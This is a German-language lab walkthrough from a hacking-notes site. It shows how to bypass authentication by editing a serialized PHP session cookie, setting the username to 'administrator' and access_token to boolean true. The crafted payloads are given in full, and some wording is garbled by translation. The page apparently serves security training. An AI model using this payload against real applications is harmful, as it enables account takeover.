> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/changing-serialized-data-types.md).

# Ändern serialisierter Datentypen

### Modifizieren serialisierter Datentypen

**Lernziel**

Dieses Labor verwendet einen auf Serialisierung basierenden Sitzungsmechanismus und weist eine Schwachstelle zur Umgehung der Authentifizierung auf. / Ziel ist es, das serialisierte Objekt im Session-Cookie zu modifizieren, um auf das \*\*Administratorkonto\*\* zuzugreifen und anschließend den Benutzer zu löschen **carlos**.

**Initialer Zugriff**

Sie können sich mit den folgenden Anmeldedaten verbinden:

* **Benutzer**: `wiener`
* **Passwort**: `peter`

Nach der Verbindung gibt der Server ein Session-Cookie zurück, das ein serialisiertes Objekt enthält, das in Base64 kodiert ist.

**Erhaltenes Session-Cookie**

Das Session-Cookie hat folgenden Wert:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**Einfache Base64-Dekodierung**

Nach der Dekodierung wird das folgende serialisierte PHP-Objekt erhalten:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

Dieses Objekt repräsentiert eine Instanz der `Benutzer` Klasse mit zwei Eigenschaften:

* `Benutzernamen`
* `access_token`

**Verhaltensanalyse**

* Wenn eine `access_token` Das Zeichen wird geändert, der Server gibt einen Fehler zurück, was darauf hinweist, dass dieses Feld normalerweise validiert wird.
* Das `Benutzernamen` Das Feld wird verwendet, um die Rolle des Benutzers zu bestimmen.

<figure><img src="/files/b778affd320c139498b7bde89a7e1b689c4e2c61" alt=""><figcaption></figcaption></figure>

**Ausnutzung der Schwachstelle**

**Geänderter Benutzername**/ Der Wert von `Benutzernamen` wird ersetzt durch `Administrator` durch korrektes Anpassen der Zeichenkettenlänge (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**Änderung des Token-Datentyps**/ Statt einen Zeichenkettenwert des Kettentyps bereitzustellen `access_token` (`Zeichenkette`), wird sein Typ in Boolean (`b:1`, entspricht `true`).

Finales serialisiertes Objekt:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

Nach dem erneuten Kodieren in Base64 und dem Einfügen in das Session-Cookie akzeptiert der Server das Objekt, ohne den Token-Typ korrekt zu überprüfen.

Die Anwendung betrachtet die Sitzung dann als gültig für den Benutzer **Administrator**.

<figure><img src="/files/6108c646dfb59cd11fbbc44176153292f952f025" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
